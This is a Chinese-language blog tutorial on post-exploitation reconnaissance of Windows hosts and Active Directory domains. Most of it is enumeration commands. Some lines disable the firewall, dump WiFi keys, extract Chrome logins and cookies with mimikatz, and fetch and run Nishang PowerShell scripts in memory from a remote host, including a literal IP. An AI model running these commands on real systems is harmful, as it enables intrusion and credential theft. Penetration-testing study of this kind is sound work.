Windows主机信息收集

发布于 2021-02-20  574 次阅读


《渗透测试》目录

Windows主机信息收集

1.内网环境分析

(1)内网基础环境判断

   IP、网关、DNS、是否能连通外网、网络连接及端口、本机host文件、机器的代理、是否在域内,域名是什么。

(2)分析机器所处位置区域

   DMZ区、办公区、生产区、核心DB等等

(3)分析机器的角色

   普通WEB服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器等等

(4)分析进出口流量是否能连通

  • 协议的判断:常见的TCP、DNS、HTTP、ICMP等协议
  • 端口判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有80,8080,443,53,110,123等
TCP协议
vps:nc -lvvp 8888
target:nc vps-ip 8888

ICMP协议
vps:tcpdump icmp
target:ping vps-ip

HTTP协议
vps:nc -lvvp 80
target:curl vps-ip 80

DNS协议
vps:nc -u -lvp 53
target:nslookup www.baidu.com vps-ip dig @vps-ip www.baidu.com

2.工作组信息收集    

(1)内网渗透:在拿到webshell的时候,想办法获得系统信息拿到系统权限,进入到网络系统内部之后收集内部网络的各种信息,获取内部网络有价值的人员、资产信息。

!!!内网渗透的第一步,内网信息收集。

(2)工作组(Work Group):是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。

  • 默认情况下所有计算机都处在名为WORKGROUP的工作组中
  • 工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况。
  • 它的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限分配和目录共享。
  • 相同组中的不同用户通过对方主机的用户名和密码可以查看对方共享的文件夹,默认共享的是 Users 目录。
  • 不同组的不同用户通过对方主机的用户名和密码也可以查看对方共享的文件夹。
  • 所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。

(3)本机信息收集            

  • 操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等。
  • 如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。

(4)内网网段信息收集(只有找到不同网段才能进行纵向渗透,否则只能横向渗透)

  • 内网网段扫描
  • 文件共享、FTP连接记录、浏览器访问记录、mstsc连接记录
  • 渗透路由器、交换机

(5)用户信息

#查看本机用户列表
net user
#获取本地管理员信息
net localgroup administrators
#查看当前在线用户
quser
query user
query user || qwinsta
#查当前用户在目标系统中的具体权限
whoami /all
#查看当前权限
whoami && whoami /priv
#查当前机器中所有的组名,了解不同组的职能,如,IT,HR,ADMIN,FILE
net localgroup

(6)系统信息

#查询网络配置信息。进行IP地址段信息收集
ipconfig /all
#查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
#查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
#查询本机服务信息
wmic service list brief
#查看安装的软件的版本、路径等
wmic product get name, version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
#查询进程信息
tasklist
wmic process list brief
#查看启动程序信息
wmic startup get command,caption
#查看计划任务
at(win10之前)
schtasks /query /fo LIST /v(win10)
#查看主机开机时间
net statistics workstation
#列出或断开本地计算机与所连接的客户端的对话
net session
#查看远程连接信息
cmdkey /l
#查看补丁列表
systeminfo | findstr KB
#查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
#查看杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
/Format:List
#查看本地密码策略
net accounts
#查看hosts文件:
Linux:cat /etc/hosts
Windows:type c:\Windows\system32\drivers\etc\hosts
#查看dns缓存
ipconfig /displaydns

(7)网络信息

#查看本机所有的tcp,udp端口连接及其对应的pid
netstat -ano
#查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -anob
#查看路由表和arp缓存
route print
arp -a
#查看本机共享列表和可访问的域共享列表 (445端口)
net share
wmic share get name,path,status
#磁盘映射
net use k: \\192.168.1.10\c$

(8)防火墙信息

#关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable
#关闭防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off
#查看防火墙配置(netsh命令也可以用作端口转发)
netsh firewall show config
#查看配置规则
netsh advfirewall firewall show rule name=all

(9)代理信息

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer

#通过pac文件自动代理情况

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL

(10)Wifi密码

netsh wlan show profile
netsh wlan show profile name="HUAWEI-MINGY" key=clear

(11)回收站内容获取

FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt
目录路径在 C:\$Recycle.Bin

$I 开头的文件保存的是路径信息
$R 开头的文件保存的是文件内容

(12)Chorme历史记录和Cookie获取

%localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\cookies

chrome的用户信息,保存在本地文件为sqlite 数据库格式

mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit

mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit

(13)Powershell(使用python挂载到你的vps上,用来远程执行)

FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录
powershell iex(new-object net.webclient).downloadstring('http://你的vpsIP:8000/Get-Information.ps1');Get-Information

Nishang-Gather-Get-Information.ps1
#文件不会直接下载下来,而是下载到内存中直接执行

(14)MSF信息收集

Meterpreter > run scraper
/root/.msf4/logs/scripts/scraper

Meterpreter > run winenum
/root/.msf4/logs/scripts/winenum

3.域内信息收集

(1)域(domain):域是一个有安全边界的计算机集合

(2)安全边界:在两个域中,一个域中的用户无法访问另一个域中的资源。

  • 将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。
  • 域成员计算机在登录的时候可以选择登录到域中或此计算机。
  • 登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的。
  • 登陆到此计算机时,是通过SAM来进行NTLM验证的。
  • 默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户信息保存在活动目录中。

(3)域控:DC(Domain Control)

<1>在域架构中域控是用来管理所有客户端的服务器,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想互相访问首先都得经过它的审核。        

<2>域控是域架构的核心,每个域控制器上都包含了AD活动目录数据库。一个域中可能要有至少两个域控。一个作为DC,一个是备份DC。

(4)活动目录:AD(Active Directory)

  • 域环境中提供目录服务的组件;
  • 在活动目录中,所有的网络对象信息以一种结构化的数据存储方式来保存;
  • 活动目录存储着有关网络对象的信息,如用户、组、计算机、共享资源、打印机和联系人等;
  • 安装有AD活动目录的服务器就是域控DC。

--------用户可以通过AD活动目录定位到内网中的资源位置。

活动目录主要功能:

  • 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
  • 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
  • 环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。
  • 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。
  • 更可靠:更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。

--------活动目录为Microsoft统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。


4.容器

Builtin容器:Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组。        

Computers容器:Computers容器是Active Driectory默认创建的第2个容器,用于存放windows server域内所有成员计算机的计算机账号。        

Domain Controllers容器:Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域。        

Users容器:Users容器主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户。


5.DNS域名服务器        

  • 域控服务器要求DNS服务器按名称查找计算机、成员服务器和网络服务。
  • 域名解析:DNS服务器通过其A记录将域名解析成IP地址。
  • 定位活动目录服务:客户机通过DNS服务器上的 SRV 服务记录定位提供某一个服务的计算机。

(1)Net组件

• 查询域                      net view /domain
• 查询域内的所有计算机          net view /domain:de1ay
• 查询域内所有用户组(Enterprise Admins组权限最大)   net group /domain
• 查看域管理员的用户组          net group "domain admins" /domain
• 查询所有域成员计算机列表       net group "domain computers" /domain
• 查询域系统管理员用户组        net group "Enterprise admins" /domain
• 查看域控制器                net group "domain controllers" /domain
• 对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配   net config workstation
• 查看域内所有账号            net user /domain
• 查询指定用户的详情信息       net user xxx /domain
• 查看时间可以找到域控         net time /domain
• 查看域密码策略              net accounts /domain
• 查看当前登录域              net config workstation
• 登录本机的域管理员           net localgroup administrators /domain

(2)dsquery

• 查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个dsquery      dsquery computer
• 查看当前域中的所有账户名                         dsquery user
• 查看当前域内的所有组名                           dsquery group
• 查看到当前域所在的网段,结合nbtscan使用            dsquery subnet
• 查看域内所有的web站点                            dsquery site
• 查看当前域中的服务器(一般结果只有域控的主机名)      dsquery server
• 查询前240个以admin开头的用户名                   dsquery user domainroot -name admin* -limit 240

(3)Other

• 查看域内信任关系                            nltest /domain_trusts
• 查看域控制器的机器名                         nltest /DCLIST:DE1AY
• 查看域内邮件服务器                           nslookup -q=mx de1ay.com
• 查看域内DNS服务器                           nslookup -q=ns de1ay.com
• 查看域内的主域控,仅限win2008及之后的系统      netdom query pdc

(4)定位域控

• ipconfig             ipconfig /all
• 查询dns解析记录        nslookup -type=all _ldap._tcp.dc._msdcs.de1ay.com
• spn扫描
     在SPN扫描结果中可以通过如下内容,来进行域控的定位。
     setspn -q */*
     setspn -T de1ay.com -q */*
     CN=DC,OU=Domain Controllers,DC=de1ay,DC=com
• net group            net group "domain controllers" /domain
• 端口识别
      端口:389
      服务:LDAP、ILS
      说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
 
      端口:53
      服务:Domain Name Server(DNS)
      说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。

6.内网存活探测

(1)Netbios协议探测

<1>netbios介绍:IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-——特指基于NETBIOS协议获得计算机名称——解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享。

<2>nmap扫描:nmap -sU -T4 --script nbstat.nse -p137 10.10.10.0/24

<3>msf扫描:msf > use auxiliary/scanner/netbios/nbname

<4>Nbtscan: 项目地址:http://www.unixwiz.net/tools/nbtscan.html      

使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器
输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。

Windows版本:

nbtscan.exe –m 10.10.10.0/24
nbtstat –n

Linux版本:

nbtscan -r 10.10.10.0/24

(2)ICMP协议探测

ICMP介绍:它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

• CMD下扫描内网C段存活主机
   命令行直显:
   for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl="
   输出内容导出:
   @for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (echo 10.10.10.%i >>c:\b.txt)
• NMAP扫描
   扫描一个C段下的存活主机
   nmap -sn -PE -T4 192.168.0.0/24

(3)UDP协议探测

UDP介绍:UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。

• NMAP扫描
   nmap -sU –T4 -sV --max-retries 1 192.168.1.100 -p 500
• MSF扫描
   msf > use auxiliary/scanner/discovery/udp_probe
   msf > use auxiliary/scanner/discovery/udp_sweep
• Unicornscan扫描
   linux下推荐使用
   unicornscan -mU 192.168.1.100

(4)ARP协议探测

ARP介绍:通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址。

• NMAP扫描
   nmap -sn -PR 192.168.1.1/24
• MSF扫描
   msf > use auxiliary/scanner/discovery/arp_sweep
• arp-scan(linux)
   项目地址:https://linux.die.net/man/1/arp-scan
   arp-scan -interface=eth1 --localnet
• arp-scan(windows)
   (非官方)项目地址:https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan
   arp-scan.exe –t 10.10.10.0/24

(5)SMB协议探测

• MSF
   Msf5 > use auxiliary/scanner/smb/smb_version

(6)域内端口探测

• MSF中的portscan模块
• Nishang中的Invoke-PortScan模块
   端口扫描,默认扫描常见端口,也可以用 -Port指定端口:
   powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort
• F-NAScan
   https://github.com/ywolf/F-NAScan
   -h 必要参数,支持IP、IP段、IP范围指定、IP列表文件。
   -p 指定要扫描端口列表,多个端口使用,隔开例如:22,23,80,3306。
   -m 指定线程数,默认100线程
   -t 指定HTTP请求超时时间,默认为10秒,端口扫描超时为值的1/2。
   -n 不进行存活探测(ICMP)直接进行扫描。

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。